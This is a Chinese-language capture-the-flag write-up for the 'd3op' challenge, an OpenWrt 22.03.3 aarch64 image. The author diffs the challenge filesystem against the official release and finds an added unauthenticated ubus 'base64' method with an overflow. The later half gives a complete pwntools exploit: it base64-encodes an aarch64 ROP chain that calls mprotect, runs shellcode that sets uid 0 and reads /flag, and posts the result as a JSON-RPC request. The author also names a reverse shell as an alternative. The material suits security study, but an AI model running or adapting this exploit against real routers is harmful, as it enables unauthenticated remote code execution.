d3op
预操作
解压附件之后得到三个文件: start.sh
,squashfs-root.img
,Image
执行start.sh
之后,启动了一个虚拟机,查看/etc/os-release
之后发现虚拟机是openwrt 22.03.3
版本的固件,架构为armvirt/64
,到官网上下载对应版本的文件镜像https://archive.openwrt.org/releases/22.03.3/targets/armvirt/64/openwrt-22.03.3-armvirt-64-rootfs-squashfs.img.gz
使用 unsquashfs
解压题目里的文件镜像和下载的文件镜像,然后使用color_diff -r squ1 squ2
,查看两个文件镜像中的不同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| diff: sq1/etc/localtime: 没有那个文件或目录 diff: sq2/etc/localtime: 没有那个文件或目录 diff: sq1/etc/ppp/resolv.conf: 没有那个文件或目录 diff: sq2/etc/ppp/resolv.conf: 没有那个文件或目录 diff: sq1/etc/resolv.conf: 没有那个文件或目录 diff: sq2/etc/resolv.conf: 没有那个文件或目录 只在 sq2/dev 存在:console 只在 sq1/etc/config 存在:network diff -r sq1/etc/shadow sq2/etc/shadow 1c1 < root:$6$JlPmKq/ZhqQ0I6V6$B74FL6cufcnZKT4G0sUz3xNP0Pr4k7yOG2I091f2OFOmcldS2s7CPJwOcfx0r/OshYDOFKw76APIqPHBXCdXb/:19442::::::
> root:::0:99999:7::: diff: sq1/etc/TZ: 没有那个文件或目录 diff: sq2/etc/TZ: 没有那个文件或目录 只在 sq1 存在:flag diff: sq1/sbin/insmod: 没有那个文件或目录 diff: sq2/sbin/insmod: 没有那个文件或目录 diff: sq1/sbin/lsmod: 没有那个文件或目录 diff: sq2/sbin/lsmod: 没有那个文件或目录 diff: sq1/sbin/modinfo: 没有那个文件或目录 diff: sq2/sbin/modinfo: 没有那个文件或目录 diff: sq1/sbin/modprobe: 没有那个文件或目录 diff: sq2/sbin/modprobe: 没有那个文件或目录 diff: sq1/sbin/rmmod: 没有那个文件或目录 diff: sq2/sbin/rmmod: 没有那个文件或目录 diff: sq1/usr/bin/scp: 没有那个文件或目录 diff: sq2/usr/bin/scp: 没有那个文件或目录 diff: sq1/usr/bin/ssh: 没有那个文件或目录 diff: sq2/usr/bin/ssh: 没有那个文件或目录 diff: sq1/usr/bin/wget: 没有那个文件或目录 diff: sq2/usr/bin/wget: 没有那个文件或目录 只在 sq1/usr/libexec/rpcd 存在:base64 diff -r sq1/usr/share/rpcd/acl.d/unauthenticated.json sq2/usr/share/rpcd/acl.d/unauthenticated.json 2,16c2,12 < "unauthenticated": { < "description": "Access controls for unauthenticated requests", < "read": { < "ubus": { < "session": [ < "access", < "login" < ], < "base64": [ < "decode", < "encode" < ] < } < } < }
> "unauthenticated": { > "description": "Access controls for unauthenticated requests", > "read": { > "ubus": { > "session": [ > "access", > "login" > ] > } > } > }
|
发现在题目中允许未认证访问的ubus
接口中多了一个base64
方法,同时在/usr/libexec/rpcd
中多了一个base64
文件,所以猜测无需认证即可访问的ubus
中base64
方法就是/usr/lib/exec/rpcd/base64
分析base64文件
经过分析我们发现在base64
方法中存在溢出漏洞
访问
关于unauthenticated,在这个文章里面我知道了在unauthenticated
中ubus
接口可以直接使用http://ip:port/ubus
访问,同时知道了访问时应该传入{"jsonrpc":"2.0","id":1,"method":"call","params":["00000000000000000000000000000000","方法","方法的行为",{"参数":"参数值"}]}'
在/usr/lib/lua/luci/controller/admin/index.lua
中存在action_ubus
函数,在/usr/share/luci/menu.d/luci-base.json
中将action_ubus
函数注册为了admin/ubus
,可以访问http://ip:port/cgi-bin/luci/admin/ubus
来执行action_ubus
函数
通过分析action_ubus
函数发现传入的参数中需要存在jsonrpc
且值必须为"2.0"
,并且参数中id
不能为空,然后method
是设置行为,可以是list/call
,然后params
是一个列表,其中第一个必须是00000000000000000000000000000000
,然后就是方法,再是方法的行为,再是方法的行为的参数,整合起来就是一个json
格式的字符串{"jsonrpc":"2.0","id":1,"method":"call","params":["00000000000000000000000000000000","方法","方法的行为",{"参数":"参数值"}]}'
,这与搜索到的使用方法是一致的
既然已知base64
方法中存在漏洞,而且触发的方式也知道了就可以直接攻击了,因为是目标是网站,所以不能使用system("/bin/sh")
的方式获取shell
,但可以尝试反弹shell
或者直接使用orw
获取flag
getflag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| """ 需要注意的点有,输出必须是json格式,并且是一个完整的json格式,不能有多的数据导致json解析失败,否则会返回 {"jsonrpc":"2.0","id":1,"result":[2]} 然后就是需要保证程序退出是正常退出,否则会返回 {"jsonrpc":"2.0","id":1,"result":[5]} """ from pwn import * import requests import json import base64 e=ELF("./base64") bss=0x4a2098 bss_seg=0x4a2000 context.binary=e
""" 因为aarch64架构的汇编指令中ret指令不会像x86/x86_64架构那样会从栈中获取数据,然后再返回 在aarch64架构中ret指令就只是将x30寄存器的值放到pc寄存器中 所以找的gadget必须要存在利用栈修改x30寄存器的指令 """ x0=0x0000000000403c84 mprotect=0x4579a4
nop=asm("nop") shellcode=shellcraft.setuid(0)+shellcraft.open("/flag")+\ "nop\nnop\nnop\n"+\ shellcraft.read(3,bss+14,100)+\ shellcraft.write(1,bss,0x42)+\ shellcraft.exit(0)
payload=b'{"output": "'.ljust(0x40,b'a')+b'"}' data=len(payload) payload+=nop*0x40+asm(shellcode) payload=payload.ljust(0x418,b'a')+p32(0x64b)+p32(0x41d)+p32(0x584)+p32(0x4b8) payload+=p64(0)+p64(x0)+p64(0)*4 payload+=p64(0)+p64(mprotect)+p64(0)+p64(bss_seg+0x1000)+p64(bss_seg)+p64(0)*2+p64(bss-0x28) payload+=p64(bss)+p64(bss+data)
payload=base64.b64encode(payload)
para={"input":payload.decode('utf-8')} data={"jsonrpc":"2.0","id":1,"method":"call","params":["00000000000000000000000000000000","base64","decode",para]}
url='http://127.0.0.1:4444/ubus'
r=requests.post(url,headers={"Content-Type":"application/json"},data=json.dumps(data)) print(r.text)
|